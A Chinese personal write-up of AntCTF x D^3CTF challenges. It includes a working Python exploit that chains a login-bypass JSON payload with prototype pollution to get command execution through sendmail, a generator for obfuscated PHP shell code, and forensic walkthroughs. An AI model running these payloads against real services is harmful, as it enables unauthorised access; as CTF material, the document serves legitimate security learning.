AntCTF x D^3CTF 个人Write Up

日常前言:

太难了,题目太难了,题目太脑洞了,非预期太搞笑了。麻了,对着量子流量哭了一天

图片[1]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

8-bit pub

坏题目,不喜欢

一个是登陆绕过,组一下就可以{“username”:”admin”,”password”:{“password”:true}}

登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了

exp:

# coding:utf-8
import requests

url = 'http://9267351e50.8bit-pub.d3ctf.io/'
sess = requests.session()
headers = {
    'Content-Type': 'application/json'
}
class flag:
    def login_admin():
        data = '{"username":"admin","password":{"password":true}}'
        res = sess.post(url + 'user/signin', data=data, headers=headers)
        print(res.text)

    def readflag():
        data = '{"to":"1783671926@qq.com","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":["-c","/readflag>/tmp/flag"]}'
        res = sess.post(url+'admin/email',data=data,headers=headers)
        print(res.text)

if __name__ == '__main__':
    flag.login_admin()
    flag.readflag()
图片[2]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

shellgen2

麻了,直接上exp吧,没啥好说的,day1的时候是因为题目本身可能有问题吧,没人出,第二天改了之后一堆人就开始秒了

sb=input()
base='<?php $_=[].[];$_999=0;$_999++;$_999++;$_=$_[$_999];$___=$_'
par='_09'
a = {}
for i in range(3):
	for j in range(3):
		for p in range(3):
			a[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]
keys = list(a.keys())[1:-1]
for i in keys:
	base=base+'$_++;'
	base=base+a[i]+'=$_;'
base+='?>'
for i in sb:
	base=base+'<?='+a[i]+';?>'
print(base)

Virtual Love(1.0,2.0,3.0)

麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘

首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统

首先把他的centos7导入vm,然后查看他所生成的文件,

将centos7所生成的vmx以及vmsd直接替换至题目的文件

之后使用010进行修改s001-s006.vmdk的文件头

图片[3]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

对照着修改,很容易发现规律。

最后修改vmx的内容,也一样对照着修改

图片[4]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

随后便可以开机,给了内容说是guest,可以直接登录

取证一般套路就是直接history

图片[5]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

看得出来需要去获取root权限

这里直接进编译模式了,网上一堆文章,丢个链接在这

重置后就可以看见文件了

图片[6]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

04开头是解压密码,7@是目标文件,剩下就没啥了

计算md5:md5sum

Robust

打开pcapng,首选项导入log,解密出http3数据流

图片[7]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

右键追踪流QUIC流

图片[8]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据

图片[9]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

根据HEADERS区分文件

图片[10]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。

图片[11]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇
ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4

根据给出的hint链接找到如下工具:https://github.com/quiet/quiet

使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件

图片[12]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

lyric是网易云的网页接口:访问http://music.163.com/api/song/lyric/?id=1818031620&lv=1&kv=1&tv=-1,得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破

图片[13]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心到了

在线网页:Unicode Steganography with Zero-Width Characters (330k.github.io)

如下设置

图片[14]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇

解密后

图片[15]-AntCTF x D^3CTF 个人Write Up-魔法少女雪殇
© 版权声明
THE END
喜欢就支持一下吧
点赞18 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情
    • 头像abc1